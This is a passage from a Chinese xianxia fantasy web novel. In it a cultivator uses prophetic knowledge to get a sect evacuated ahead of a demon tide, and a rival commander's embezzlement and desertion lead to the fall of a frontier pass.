“持我令符,用‘千里烽烟’急讯,禀告掌门:关隘有变,有持‘紫霄神雷子’之金丹女修,自称握有干系断野关乃至数关存亡之绝密军情,坚持面陈。请掌门示下。”他顿了顿,补充道,“将‘紫霄神雷子’与‘金丹女修’八字,务必传到。”
“千里烽烟”显然是更高级、更紧急的通讯方式。而特意点明“紫霄神雷子”和“金丹女修”,既是如实反映情况的诡异之处,也是在向上级暗示:此事非常,非寻常金丹所能为,值得关注。
亲卫领命而去。
金火真人这才重新看向张苔,眼神复杂:“出去等候吧。掌门何时能至,非我能定。”
*
张苔在无声中煎熬等待。
在来来去去的人群中不断抬头使用观灵术,只要超过自己两个大境界,感知不到,就是化神大能,可能就是将抵达的掌门。
不知多久过去,忽而,张苔捕捉到一丝极其微弱、却又清晰无比的波动——那不是风,也不是脚步声,更像是某种空间被悄然熨平的涟漪。
下一刻,营帐中央的空地上,光影无声汇聚、扭曲,一道身影由虚转实,毫无征兆地出现在那里。
来人看起来比金火真人年长很多,面容普通,身材高大,一双虎目开阖间精光四射,穿着一身朴素的暗蓝长袍,没有任何多余纹饰,气息更是收敛得点滴不剩,站在那里,就像一块亘古不变的岩石。
在场金虹门弟子一见,遥遥向其行礼,张苔也确认了对方身份,金虹门掌门,赤阳真人。
张苔迅速赶过去进行拜见。
两人周遭很快立起一道隔音结界。
“说。”他只吐出一个字,声音不高,却像直接敲在神魂上。
时间紧迫,张苔也不欲搞那些虚头巴脑的,直接开门见山。
“晚辈冒死求见掌门,只为呈上两道关乎金虹门所有人员生死、几处关隘得失的紧急军情,并斗胆附上一策。
第一则军情:东南域无相山庄,汇集属地青冥剑阁、镜湖总集结五千修士,其中元婴过千,出窍过百,携‘碎星弩’三门、‘渡厄云舟’一艘,正向断野关开来,其余关隘亦是差不多的兵力。目的非为谈判,只为全歼贵派驻守修士,夺回关隘。其前锋最多两个时辰后抵达关前。”
“其二,断野关之危,非独来自东南。”张苔话语一转,指向同样致命的威胁,“关隘东南一百七十里,望仙城的整座城池及其名下乡镇、攀山镇、云下镇、冷水镇都已沦为魔窟,这是个超大型魔窟,直接形成了魔潮,往断野关这边席卷而来。由于整个中州集中力量去前线抗魔,消息传递处理滞后,导致断野关没收到消息,约莫两日后,一路汇集上万只高等低等魔物的魔物潮将淹没关隘。”
她语速极快,字字如铁钉砸下:
“两害前后夹击,断野关已是死地,绝不可守。守则必亡,人地皆失。”
“故此,晚辈斗胆,献上一‘金蝉脱壳、祸水东引、兼收实利’之策。
请掌门立即下令,秘密疏散断野关及临近所有我方修士与凡人,转移至铁索关、鹰愁峡等其他无魔窟威胁之关隘。既救人命,亦为彼处增添人质,稳固防线。
随即,在东南域大军抵达前,有序撤离断野关,留一空壳。并设法将‘魔窟将至’的消息,递予即将入关之敌。”
“对于其他关隘,我们的人手是决计无法与东南峪匹敌,但这么多人质在手,投鼠忌器,再加上断野关的魔潮确实是件棘手的事情,因而对方不得不放弃这几
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处其他关隘,赶往断野关除魔。”
“如此,可保几处关隘不失,贵派为前线收缴资源的任务可续,且将魔祸引向敌手,逼其清秽。”
将所有这些陈述完,张苔抬眸,见赤阳真人还没有表示。
她人都已经急上火了,“我知道您可能不信,想着还要进行核实抑或什么,但时间上真的来不及。
应对的关键,在于‘快’与‘信’。快在撤离与布防,信在您必须相信晚辈的情报,即刻决断。晚辈以此身家性命与全部信誉作保,前述军情,句句属实。
疑我,或迟疑。那么,数个时辰后,您将亲眼目睹晚辈所言一切成真,而金虹门在东南域的力量,恐尽丧于此。”
赤阳真人自始至终,面上没有任何波澜。没有震惊,没有愤怒,甚至连一丝惊讶都没有。
他只是在听。
那双虎目半开半阖,眼神落在张苔脸上,却又仿佛穿透了她,在急速推演着整个东南域的局势图。当张苔说到“元婴过千,出窍过百”时,他搭在膝上的食指几不可察地动了一下;说到“超大型魔窟”、“三日淹没”时,他眼中有锐光一闪而逝,快得让人以为是错觉。
在张苔最后那番急上火、乃至带有最后威胁的陈词后,面上还是看不出什么,他就像一块吸收了一切情绪和噪音的深海玄铁。
就在张苔考虑,要不要拿那密辛来半是核实半是胁迫对方行动之时,眼前一花,她竟然又再度身处当初金火真人的那具营帐之中。
“金火。”
“在!”金火真人躬身应道。
“首先,‘工械营’在关隘核心、仓库、阵法节点布设‘离火阵’和‘幻形砂’等‘疑兵’布置。”
“其次,除‘工械营’其余人员分成八批,分别往八个方位,携传送阵盘,将路途普通修士凡人带往其他关隘;将扣押的对方那几个低级执事,‘不小心’让他们听到‘魔物异动,此地凶险’的对话,然后‘疏忽’放跑一个。”
“最后,所有人员,两个时辰后在营地集合整备,根据待会儿‘聆风使者’送来的新的排布表,有序分别往其他关隘口撤离。”
“另,传讯其他关隘口守将,即刻起进入最高战备,接收人员,加固防御。凡有擅闯关隘、冲击防线者,无论来历,杀无赦。”
一系列命令,简洁、冷酷、条理清晰,没有丝毫拖泥带水。
金火真人凛然应诺,不敢有丝毫怠慢,立刻转身出帐安排。
张苔还有些懵,没想到赤阳真人居然真的没用多少时间便选择相信,并果断行动,她那个提前得知的密辛提都不用提。
不过也没多长时间给她懵然和庆幸,赤阳真人又很快看了过来,
也没等她懵多久,赤阳真人看向她,那目光仿佛能穿透皮囊,直视神魂。
“情报来源。”他再次开口。
简简单单的四个字,却给张苔带来了极大的压力。
她硬着头皮,磕磕绊绊道,“晚辈......无法详述。只能说,与一些......超越常理的‘预兆’有关。
同样只能说掌门您英明神武,在我这样一个来历不明甚至有些神神叨叨的可疑对象出现之时,还有魄力做下最正确的抉择。”
赤阳真人静静地看了她两息。
忽然,他嘴角极轻微地扯动了一下,那甚至算不上一个笑容,更像是对某种早已预料之事的淡淡讥诮。
“耍滑头。”他吐出三个字,语气平淡。
“想通过奉承我几句来蒙混?罢了,我也不追究了,从现在起,你编入‘聆风营’,归本座直辖。现在跟我分别去其余关隘口,看看如何安置转移过去的人质。”
55. 观战
张苔现在位于铁索关,身边配备跟随着一位金虹门聆风营的出窍修士,名为照顾,实为监督。
她其实挺能理解的,毕竟目前她给出的那些事情还没有完全论证,自然也不能放她走了,且她来历不明,也不确认对整个金虹门派遣过来的这支军队确实没有什么阴谋威胁,所以先让人看着她是最合适的。
她站在关楼最高处,看着下方的人声鼎沸,又秩序井然。
一批批从断野关方向传送过来的修士和凡人,正被金虹门弟子快速引导、编组、安置。
传送过来前,断野关那边就交代了,超大型魔窟快来了,他们可以做到将人即刻传送走,但他们也要配合作为“人质”,让其他关隘进攻的队伍放弃。
这种事情讲究一个你情我愿,不乐意也没事,他们还可以省一些传送阵。
人哪有不怕死的?虽说目前中州和东南域爆发了摩擦冲突,中州抢了属于他们东南域占据的关隘口,但是在自己性命面前,那都不重要了。
遇到一些特别忠于自己东南域人身份的,不信任反复问,耽搁他们时间和传送的,直接淘汰掉传送资格,被人家守卫一下子扔老远。
所以传送过来的东南域修士和凡人都格外配合。
也有当初在断野关表现得很老实的,一过来就要说法要证据,或者闹事的,直接被绑,扭送到城墙外边高处,和其他一群不安分的一起跪在书写着“一大群东南域百姓在我们这里,若开战,必然会波及到他们。”的旗帜下。
几个关隘口,还各派了行动迅速的风灵根修士,纷纷潜入临近关隘口的仙城中,广泛散播消息。
诸如:“中州从断野关大型魔窟救了不少百姓,暂时安置在其他关隘口,东南域统辖宗门却忘恩负义,要朝中州开打。”
“东南域统辖宗门不顾普通老百姓死活,一心歼灭中州势力。”
“宗门命令无人性,偏让动手杀我同门耄耋双亲,往后我该怎么面见同门?”
这一套连消带打下来,被证实驻扎在距离几个关隘口几十公里外的东南域修士队伍,压根没办法动手。
东南域传起流言的那些仙城,城主府虽说后续也采取了措施,但金虹门带过去的不仅是流言,还有大批东南域百姓的影响,大家也就住在相邻或间隔几座仙城的距离,总存在有修士认识其中的某一位。
所以城主府最多只能抹黑中州这边,是故意捉了他们东南域的百姓去当俘虏,但也不能真的不顾上万百姓死活发动战争。
但是,东南域无相山庄高层对中州传达的,所谓有魔窟魔物赶来是不信的,连派个脚程快或者修为高或者架构传送阵去核实的功夫都不愿意去费,更遑论调度其他关隘口的队伍去支援断野关。
尽管他们掌门几次提醒,还亲自走了趟魔窟附近带去浩浩荡荡魔物影像,他们还是坚持认为这是中州的阴谋恐吓,为的是想强占他们的关隘口。
张苔听到聆风使给她的最新消息的时候,是忍不住连连扶额的。
只能说至少她提供的消息保全了中州金虹门几百修士的性命,以及断野关附近上万普通修士凡人的性命,而有些修士的命她实在没办法改。
东南域因为地理位置离抗魔战线更远,于是相比于中州的整个抗魔氛围,便安逸颓靡很多。
说安逸都是进行了美化,尤其东南域的统治层,还类似在归凡时代那种大地主一样,过着纸醉金迷的日子,可着底层修士凡人折腾,不知魔物威胁为何物。
上一任战神期间,好歹还出了个宋河成统帅,虽然后来也被背后捅刀沦为魔物——这种行为也就东南域做得出来,深为中州所不齿。但好歹也还出了位统帅,这一任战神期间,别说统帅了,抗魔前线凭借功勋有个一官半职的人里边就没见着出身东南域的。
如此氛围下的东南域,在话本内容里,面对这个超大型魔窟过来足有数万的魔物,统治层可谓是手忙脚乱、惊慌失措,接连几个镇子迅速沦陷,甚至还有一个临近断野关的仙城城池沦陷。
一个魔窟形成的魔潮被整成前线抗魔战场的架势。
而今情报送到他们眼前了,他们还不信,张苔真是拿他们一点办法都没有,她也不认为自己让金虹门撤出断野关有什么错,金虹门在断野关本来才几百人,拿什么跟数万只魔物打?
脑子正常的哪怕就认定了中州这边所谓的魔物之说只是个幌子,也总得心理不确定,派人去核实一下吧?
而且她就不懂了,好歹断野关也有东南域无相山庄及其附属宗门五千修士,虽然数万只魔物听起来吓人,但里边有那么多的低等魔物,还有那么多的低阶高等魔物魔卒魔使啥的,那不一刀一个?高阶高等魔物剥离出来的低等魔物虽强,但没脑子,战术配合一下也是小菜一碟。
超大型魔窟的魔窟之主就算它就魔君吧,东南域那边最高指挥使貌似也有化神境界,哪怕没有,也就跨一个大境界,一百多个出窍磨不死它?
至于魔王魔将,类似修士出窍元婴境界的存在,东南域这边有一百多个出窍,一千多个元婴,还有那么多精良法器,这杠上了就算输了,魔物那边应该也被削得没剩下多少,怎么还会壮大到继续进到东南域去作威作福?
他们中州哪怕碰上这种超大型魔窟,派清剿军队也是五千人马左右,就是统帅一定也是化神修为。
在金丹前期的时候她除魔任务主要是领的参与清剿魔窟这种,基本上每次出发,团队全员存活地回来。
修为上来后,她嫌这种任务才只能够换三个月任务空闲期,才改的侦测、猎魔任务类型。
扯远了,张苔主要是担忧断野关的情况,既然东南域统治层并未重视魔窟扩张魔潮将至的消息,那断野关会重新像话本中那样沦陷吗?断野关之后生活在东南域的镇子上的人们同样会遭逢大难吗?
先前金虹门虽说也传送了一批人过来,但也只是最靠近断野关的一小部分,散播出去了魔潮将至的消息,那里的人们能抓紧时间赶紧跑路吗?还是更多的存在侥幸心理?
不过还是那句,无论如何,她能做的已经全做了,再担忧也没用。
时间又过去一日,按照时辰算,此时断野关那边的魔潮快抵达了。
经过一天,张苔也跟铁索关的不少金虹门修士混熟了,这些金虹门修士知道是她带来的消息,一个个对她都挺友好。
此刻她正在营地,营地安排了五位元婴修士值守。
有个大嗓门修士挠着脑袋,“断野关那边咱们真的不用出人,去共杀魔物吗?”
跟他隔了一段距离,挺清瘦的一女修:“守好你的夜吧!去杀魔去杀魔,明天谁守城门检查入关队伍?谁巡防?谁看管百姓民众?自己的事都忙不完在这里。”
他对面续着长胡须的男修也附和,“是啊,上头不是说了,越是这个关头,城门检查就越不能放松,免得那些世家又带着大量资源混入关内了。”
长着雀斑的少年模样修士道,“主要是就这么值守也无聊,那边的苔姐姐,你让你身边的聆风使放映一下那边的情况呗。”
张苔在营地琢磨那一沓孤鸿惊影的身法玉简呢,一听这话,奇了,“这还能够同时观看那边情况的?”
雀斑少年的话引起了所有值守修士的兴趣,续胡男赶紧接道:“有的有的,断野关那边离开前肯定是留下了记录法器的,哪怕被到来的东南域修士发现给破坏了,聆风营也会派那群飘渺的风哥风姐过去潜伏在附近悄悄记录。”
感受到这些值守修士的热切,包括张苔本人确实也很想知道那边的情况,于是一双眼睛望向身边的聆风使。
聆风使还能怎样?只能选择溺爱咯。
于是营地上空升腾起一面巨大的水镜,值守修士中最沉默存在感最低的穿一身灰衣生着蛾眉杏眼的女剑修,端着一盘子,绕着营地走了一圈,往其他修士面前递盘子。
自然也往张苔这边来过,盘子里是堆满的灵瓜子,张苔和身边的聆风使也抓了一把。
“这视角不是很好啊,魔物应该还没打过来,不然咱聆风使不用躲藏,猫在这犄角旮旯。”
大嗓门修士边磕瓜子边评价起来。
像是顺应他的话般,水镜里忽而响起凌乱的气劲搅荡声和凌乱的脚步声。
“魔潮真的来了!乌泱泱一大片全是魔物!”
“快跑啊!”
随后水镜的画面一花,再度清晰,这个位置应该是在一处高地,清晰地映照出整个断野关前,远方平原潮水般涌来的大批魔物,以及近处混乱往关内跑的修士。
大嗓门修士:“他们这军队纪律也太松散了吧,不就是魔物吗?慌什么,哪怕上峰没下达命令没来,不会自行结阵啊?”
闻言清瘦女修冷笑:“你看他们像是有纪律的样子吗?”
“咱们聆风使在现场不会有什么危险吧。”清瘦女修发问。
续着胡子的中年男修宽抚道,“放宽心好了,过去的聆风使不说本身修为也达到出窍,本身还是机敏迅捷的风灵根,身上也带着直达咱们这边的好几个传送阵盘呢,一有不对会赶紧抽身的。”
画面又开始晃动,看样子聆风使是往一个地方赶。
“聆风使这是要去哪?”
“应该是入关看营地东南域的最高指挥使怎么安排吧。”
水镜画面再度清晰的时候,也不知道聆风使是潜伏在哪个巧妙的位置,视角对准了中军大帐。
帐帘猛地被掀开,几名气息剽悍、显然是副官或亲信的修士簇拥着一位身着华丽灵甲、面容阴沉的中年男修快步走出。
他带着灵力的声音扩散出去,“慌什么!魔物潮而已!传令,各营按预案,结‘金锁连环阵’于关前,依托城墙符塔,层层阻击!法器营,将‘碎星弩’推上城头,对准魔潮,听我号令齐射!”
命令听起来有条不紊,营地里紧张磕着瓜子的金虹门修士们稍微松了口气。大嗓门修士嘟囔:“啧啧,这位就是负责断野关军队的最高指挥使了吧,比咱们铁索关统领差远了。”
然而,水镜的视角却敏锐地捕捉到了细节:指挥使下完令,朝着城墙方向过去时,朝着身边一位亲信嘴唇微动,显然在传音。
这名亲信得到传音后,在指挥使与其他人员往城墙那边而去的路上,悄然离开队伍
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,行动迅速,行踪鬼祟。
画面一切,短暂模糊后,出现在一个封闭环境内,看得出聆风使者方才在跟着位擅自离队且鬼鬼祟祟的指挥使亲信,并来到了这里。
此处显然是存放作战资源的库房,那位指挥使亲信还带了两人,正手忙脚乱地将周围堆满着的玉盒、闪着寒光的各色法器,往自己储物法器中收纳。
“他们......在干什么?”雀斑少年修士瞪大了眼睛。
“还能干什么?”清瘦女修的眼神已经彻底冷了下来:“中饱私囊呗!”
满满当当的库房没多久就被清得空出来大片。
“差不多了,别到时候大人走咱们跟不上,快走。”
聆风使跟着三人出了库房,外边地上躺着几具鲜血淋漓的尸体,魔物都没到这里来,谁干的不言而喻。
一阵七拐八拐,到了营地后方的偏僻处,有座一次可传送数十人的中型传送阵正散发着稳定的空间波动。
传送阵旁边已经站了一人,见到三人,那人先声夺人,“大人交代的营地那边紧急传送大阵的阵基我已经毁了,你那边呢?”
率先离队的指挥使亲信,“情况是什么样,心里清楚就行,嚷这么大声做什么?说惯了也不怕日后走漏风声。”
那人不耐烦道,“还不是怕你误事,事后的说辞我晓得,整场战役全力奋战不敌,只有我们几个护着大人勉强保住一条命逃脱出来。”
指挥使亲信,“我能误什么事?算了,不跟你计较,大人还没来吗?”
那人:“快了,总要在最前方做做样子,我给他塞了好几个直通这里的传送阵,时候差不多启动,来个重伤从城墙跌入魔群的表象便能传送过来了。”
话音堪堪落下,白光闪过。
指挥使一出现在这里就忙不迭往阵法中跨,嘴里催着,“还愣着干什么?快启动阵法!”
最后的阵光如呼吸般明灭,随即彻底熄灭,先前有争执有人声的视野陡然空旷得令人心悸。方才站着人的地方,只剩下一片被阵光微微灼焦的泥土,黑黢黢的。
水镜前的金虹门修士们已然鸦雀无声。续着胡子的中年男修气得胡子都在发抖,张苔也感到一阵寒意从脊背升起,她简直不敢想象,那些与魔物对抗的断野关前,会是怎样的一副惨剧模样。
画面再次切换,还是来到了断野关城墙附近。失去了最高指挥使的有效调度,所谓的“金锁连环阵”在如潮水般涌来的魔物面前显得摇摇欲坠。
城头的“碎星弩”倒是响了几声,但后续明显乏力,显然是负责操控和供能的修士要么战死,要么也已溃逃。
“结阵!顶住!后退者斩!”一位看起来像是中层将领的修士声嘶力竭地呼喊着,试图稳住阵脚,但恐慌如同瘟疫般蔓延。
“指挥使大人不见了!”
“传送阵被毁了!我们被困在这里了!”
“啊!为什么会这样?!我不想死!”
绝望的呼喊声被魔物的嘶吼和法术的爆炸声淹没,阵型彻底崩溃。
一个元婴修士御风凌空,化作流光想冲天而起,却被几只蝠翼魔物拦截缠住,周身灵光迅速黯淡,整个人被拖入下方黑色的潮水中。
也有少数实力高深、反应极快的元婴出窍修士,各施手段,或化作遁光,或使用珍稀的遁符,甚至有人狠心自爆本命法宝开路,朝着远离魔潮主力的方向亡命飞遁。他们能否逃脱,无人知晓,但他们的离去,彻底带走了中下层修士最后的希望。
失去了大门,失去了统一指挥,甚至连退路传送阵法也莫名损毁,东南域守军的士气彻底崩了。
越来越多的人放弃了阵地,加入到逃亡的行列,或是绝望地退入关内巷道,进行着最后的、零星的、无组织的抵抗。
魔物如同黑色的潮水,从炸开的缺口、从被放弃的城墙段,汹涌而入。吞噬、撕碎着一切挡在面前的生灵。
慌不择路的逃亡者,他们被魔物从背后扑倒,或被地下钻出的触手般的魔物缠住脚踝拖倒,顷刻间便被蜂拥而上的魔物覆盖。
水镜的画面开始变得断续、模糊,伴随着剧烈的晃动和急促的喘息声——那是潜伏的聆风使也在高速移动,躲避着无处不在的魔物扑食和流散的攻击。
“我这个地方也不安全了,就记录到这里,聆风使虞柔即将归队。”
画面暗了下去。
营地里只剩下粗重的呼吸声。灵瓜子的香气变得甜腻到令人作呕。
“五千人……”雀斑少年声音干涩,“就……这么没了?”
“没了。”续胡男修的声音疲惫而苍老,“主将先逃,军心瞬溃。这不是战斗,是送死。”
清瘦女修暗骂一声,眼底有怒火,但更多的是深深的无力:“他们人不少,元婴更是上千,本可以依托城墙法器,结合阵法符威,至少守住城墙几日等待援兵,但现在......得亏附近镇子的普通凡人和低阶修士转移了一批,剩下的大多也早早启程。”
身边的聆风使默默收起维持水镜的法器,声音低沉:“聆风营会立即将消息呈报掌门。东南域......竟糜烂至此。”
56. 三川
无相山庄,无相内府考功殿。
“废物!蠢货!”
清微真人须发皆白,面容清癯,此刻却因怒意而微微泛红,宽大的道袍无风自动,周身隐约有雷霆般的灵压一闪而逝,让跪在殿中的中年修士——刚从断野关狼狈逃回的指挥使“罗骁”——头垂得更低,几乎要触到冰冷的地面。
“为师让你去守断野关,是给你机会!是让你在宗门和庄主面前露脸!不是让你去丢人现眼,更不是让你去当第一个被魔物‘吓破胆’、‘丢失关隘’的蠢材!”
罗骁跪伏在地,华贵的灵甲早已脱下,换上了一身素色常服,眉宇间残留的仓皇和一丝尚未散尽的戾气,却破坏了他原本也算端正的容貌。
他不敢抬头,竭力忍耐着被训斥,坐到这个位置,他已经很少有这么狼狈的时候了。
本来这次一切也计划得好好的,谁知道会撞上魔潮,金虹门也不按常理出牌,他一切也是迫不得已的无奈选择!
耳边师尊的责骂越来越过分,他猛地抬起头,脸上再无恭敬,只剩下豁出去的狰狞:“师尊!账!账对不上啊!”
清微真人的脚步顿住了,眼神锐利如刀。
罗骁见状,仿佛抓到了一根救命稻草,膝行两步,几乎是爬到了清微真人的脚边,压低声音,又快又急地诉说。
“弟子带去的五千人,账面法器配备,碎星弩十门,渡厄云舟三艘,各色高阶法宝三千件,中低阶符箓、阵盘、丹药无数!”
“可实际上呢?碎星弩只有三门是堪用的老货,云舟就一艘勉强能飞!高阶法宝能有一千件就不错了,还大半是次品、残次品!丹药?疗伤益气培元的丹药倒是不少,但补充灵力、爆发战力的‘燃血丹’、‘沸灵散’,连账面三成都不到!”
他喘了口气,眼中泛起血丝:“弟子这些年孝敬给师尊的灵石、宝物,还有打点上下、维持体面的开销,从哪里来?不就得从这军需里抠吗?
这次出征,账面做得漂亮,可实际带出去的东西,连账面一半都勉强!弟子原本想着,借这次与中州金虹门的冲突,狠狠打上一仗,把账面法器‘损耗’掉大半,这窟窿不就平了吗?”
他越说越激动,声音也拔高了些:“可谁想到那金虹门狡猾如狐,根本不接战,直接撤了!还把百姓都带走了,让我们打都没法打!然后魔物来了...”
“我若死守,战备资源短缺,装备恶劣的真相会在战斗中立刻暴露,等到百工殿和刑律殿的人随着支援过来一看,留影法具一用,便是铁证如山。
不如让魔物彻底破坏关隘,一片废墟中,谁还能查清仓库里原来到底有多少东西?”
清微真人任由他抱着,脸上怒意渐消,取而代之的是一种深沉的疲惫和冰冷。
他当然知道罗骁说的是实情。
东南域远离真正的魔祸前线,不像中州,可以凭抗魔得功勋升官,哪怕可以,谁又愿意以命相拼去往完全不熟悉的中州前线?既然如此,那么多人要升官,凭什么轮到你?所以你必须送,不送就没办法升,你要送最终还不是利用职位吃空饷、倒卖军械、以次充好......
几乎是公开的秘密。罗骁不是第一个,也绝不会是最后一个。他这些年从罗骁这里收到的“孝敬”,也确实丰厚。
罗骁见清微真人神色有松动,趁机道,“师尊!考功殿掌人事任免、功过评定,只要师尊愿意周旋,将弟子的......”
话还没说完,被外间传来的响动打断。
“几位刑律殿的大人,你们不能这么强闯啊,天大的事,也要容我先跟真人禀告一声呐!”
殿内两人闻言面色一变,不知究竟是何缘故,如若只是罗指挥使断野关的战败,完全不至于要出动刑律殿的人。
“砰!”
殿门被粗暴地推开,几位身着玄黑法袍、胸前绣着冰冷银色獬豸纹的刑律殿修士,面无表情地大步踏入。为首者是一名面容刻板、眼神锐利如鹰隼的中年女修,周身气息森然。
她目光如电,先在清微真人脸上扫过,最终定格在罗骁身上,话语冷得让罗骁骨头缝里都透出寒意。
“罗骁,你涉嫌贪墨军资、临阵脱逃、贻误战机、致军民重大伤亡...即刻拿下,羁押刑律殿黑水牢,听候审讯!”
话音落下,她身后两名刑律殿修士已然上前,手中黑色的锁链如同活物般,闪烁着禁锢灵力的幽光,朝罗骁缠绕而去。
“不!不!师尊!救我!弟子冤枉!”罗骁大叫,一边挣扎后退,一边向清微真人投去哀求的目光。
清微真人眉头紧锁,抬手虚拦了一下:“且慢!刑律殿抓人,可有确凿证据?”
“证据?”刑律殿领头女修冷哼一声,手中玉简蓝光大盛,投射出几段清晰的影像片段:
——断野关营地库房内,罗骁亲信快速搜刮资源的画面,连他们压低声音的对话都清晰可闻:“差不多了,别到时候大人走咱们跟不上......”
——营地后方传送阵,显然用不了被毁的阵基
——从城墙摔落半空突兀消失的罗骁,之后出现在营地后方,和几位亲信会合脱身。
“这些影像,是金虹门掌门呈递给庄主的,罗骁,你不仅让庄主在中州那边颜面尽失,更是愧对你身负的职责重担!”
罗骁面上血色尽失,但还是色厉内荏,嘶声喊道,“这是污蔑!是金虹门的诡计!弟子纵有千般不是,也绝无贪墨军资到如此地步!定是有人栽赃陷害!师尊明鉴啊!”
他的喊叫,表面上是对着清微真人,但目光在掠过清微真人时,却急速地、隐晦地闪烁了几下,那眼神里不再是纯粹的哀求,而是带着一种近乎疯狂的暗示和确认——他知道自己跑不掉了,但有些事绝不能认,有些线绝不能越过!
他扛下“临阵脱逃、指挥失当”甚至“贪墨”的罪名,但“平账”、“亏空巨大”、“系统性贪腐”这些绝不能从他嘴里说出来!否则他的同党不会放过他的家人。
同样的,为了安抚他,他身后那些人至少会保他一条命,如果真的保不了,也怕他留了什么后手给家人因而厚待他的家人。
清微真人接收到了这拼命传递的眼神,也是放心了大半。
金虹门的影像只明确记录了罗骁的临阵脱逃和搜刮库房,这完全只能定义到罗骁本人的贪墨和仓皇逃命时的顺手牵羊,罗骁也表示了在狱中“知道该怎么说”。
而他清微真人一伙,则需要“打点”和“运作”,确保审讯控制在“个人行为”的范围内,并尽量保住罗骁的性命。
电光火石间,清微真人已有了决断。
他眉头紧锁,再次抬手虚拦,语气转为凝重与痛心:“且慢!罗骁,你太让为师失望了!”
他先定下基调,表明自己绝不包庇弟子个人恶行,随即转向刑律殿领头的中年女修,“段长老,罗骁若真做出临阵脱逃、贪墨军资之事,确属罪大恶极,理当严惩!我考功殿绝不袒护此等败类!”
段长老面色不变,只是冷冷道:“既如此,真人为何阻我拿人?”
“非是阻挠。”清微真人叹息一声,露出几分疲惫与惭愧,“只是此事关乎我考功殿用人失察之责,更关乎断野关数千将士与数万百姓的性命!罗骁是我门下,他犯下如此大罪,我难辞其咎。
段长老可否容我......再问他几句?也好让我这做师尊的,死个明白,并向庄主请罪时,有个交代。”
他这话说得滴水不漏,既表明配合态度,又将问题暂时限定在“个人罪行”和“师尊问责”的范围内,给了双方一个缓冲和交涉的空间。
段长老目光在清微真人和被锁链渐渐缚住的罗骁之间来回扫视,片刻后,微微颔首:“真人请问。不过,人我必须带走。”
“自然。”清微真人走上前,看着面色灰败、被锁链困住的罗骁,沉声道:“罗骁,为师只问你——断野关库房被搬空,可是你指使亲信所为?你临战脱逃,弃关隘军民于不顾,可是事实?”
罗骁抬头,虽有不甘,但也知道,这已经是最好的结果了,谁让自己一时不慎,居在阴沟里翻了船,让金虹门钻空子将自己的行为录了个干干净净!
也是还好自己其余时候也够谨慎,没透露出更多被记录,否则被一锅端,同党全部都要被革职到刑律殿作伴。
他咬了咬牙,给出坚定的表态,“是!弟子……弟子鬼迷心窍!见魔势浩大,心中畏怯,又贪图库房中财物,便令亲信取之,欲携财逃命……弟子愧对师尊教诲!愧对宗门信任!愧对断野关死难军民!”
清微真人闭上眼,仿佛痛心疾首,挥了挥手:“带走吧。我自会向庄主请罪。”
段长老不再多言,示意手下将罗骁拖走。
罗骁被拉出殿门时,最后回头看了一眼清微真人,那眼神复杂无比,有绝望,有哀求,更有一丝狠戾的决绝——他的命,他一家老小的命,现在都系于师尊和身后那些人接下来的“操作”了。
殿门重新关上,隔绝了罗骁被拖远的声音。
考功殿内只剩下清微真人一人。他静静地站在原地,方才的痛心疾首之色渐渐褪去,只剩下深沉的凝重。
此次派往几处关隘的军队,与他们这派情况类似的,恐怕不在少数。
原本指望中州冲突损耗平账,现在这条路断了。魔潮,就成了新的‘账目销货场’。到时候来找他走门路的不在少数,从中也一定能够找到将罗骁运作出来的刑律殿的派别。
更重要的是,这些人在某种程度上,和他们成了一条战线的人,一条阻止刑律殿深查下去,阻止庄主下令百工殿核查军需调用、战备损耗的战线。
就是苦了断野关临近位置生活着的百姓,这仗恐怕范围会越打越广,且一时半会儿打不完。
对此他也没有办法,走上了这条路就没有退路,他也要为子孙后代考虑。
“扣扣扣”
再度敲响的殿门打断了他的思绪,属下的声音从殿门后传来,“大人,断野关被破魔潮汹涌挺进,庄主紧急召集各殿的殿主和副殿主至‘无相殿’共商议事。”
清微真人:“知道了,我这就即刻前往。”
*
这是张苔待在铁索关,自断野关被破后的第三天。
每天干坐在人家地盘啥也不干,她也不好意思,于是也帮着城墙值守,帮着收缴队检查收缴等等。
但张苔还是挺过意不去的,毕竟一个出窍的高阶修士总在她身边着,太浪费屈才了。
虽说她也能从聆风使那里知道一些东南域魔物情况,不怎么乐观,但这种问了反而让心情更加沉重的消息,知道还不如不知道呢。
越是待在这里,张苔越是坐立难安。
又是一晚的水镜,看到魔潮涌进路途的家破人亡,那些被魔物吸食灰飞烟灭前一个个普通凡人修士脸上的愤恨、绝望、不甘等,仿佛穿透时间空间的距离,她瞬间感同身受。
水镜切断后,就是无尽的恐慌和茫然,预知梦里的自己,死前面孔也是如此狰狞吗?
她有一个可以提前得到消息的话本,是否昭示着她与众不同,这一世能够幸免于难吗?
这种未知,更是让她迫切地想做些什么。
第二天,张苔向身边的聆风使提出请辞。
聆风使向上禀告之后,这次金虹门很顺利就决定放她走了,不过聆风使告诉她,她
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走前,金虹门掌门还想再见她一面。
她被带到了鹰愁峡主帐。
主帐中,赤阳真人如一座沉默的熔炉,静坐于堆积的玉简之后。张苔踏入时,他并未抬头,只指了指下首的一张椅子。
“坐。”
张苔依言坐下,双手置于膝上,背脊挺直,眼观鼻鼻观心。
帐内一时寂静,只有赤阳真人翻阅玉简时极轻微的沙沙声。
良久,赤阳真人合上最后一枚玉简,终于抬眼看向她。
“你要走?”
张苔:“是。”
赤阳真人似乎并不意外,只是淡淡道:“断野关一事,你居功不小。若非你传来的讯息,我金虹门数千精锐恐已被灭,而上万百姓,也已葬身魔腹,然此事关乎宗门颜面与东南域纷争,不便明面褒奖。你可有想要的补偿?”
张苔摇头,“此乃晚辈份内事,不需要任何褒奖补偿。”
她只求一个心安罢了,然而这场悲剧,她挽回得实在太少太少,且金虹门掌门又实在和蔼开明,她这趟也委实没遭到什么巨大的生死风险。
根据聆风使那边的消息,魔潮主力正沿‘阔水河’流域蔓延,无相山庄那边也派遣过两次上万修兵进行清剿,但最后全部败逃。
这种前边都和话本走向吻合的情况,很难不让人怀疑,后续发展是否还是如话本所记叙,无相山庄的清剿拦截只会屡战屡败,最多五日,魔物大军便可抵达三江交汇处附近的‘三川仙城’。此城扼守水路要冲,灵脉丰沛,修士凡人的常住人口足有八十多万。
更何况,有魔物破关一事早就传开,很多凡人修士逃亡都会选择在仙城落脚,毕竟仙城本身就有防御大阵和统辖宗门的驻守军队,以及仙城附近还有一些小型门派。
这些都给了不少逃亡途径修士凡人的停留下来的信心,现在三川仙城的人口,绝对高达百万。
话本预言里,关于三川之危,只有一句城破,大量凡人修士死亡,彻底引起无相山庄注意,并将一切魔患终结在三川的记叙。
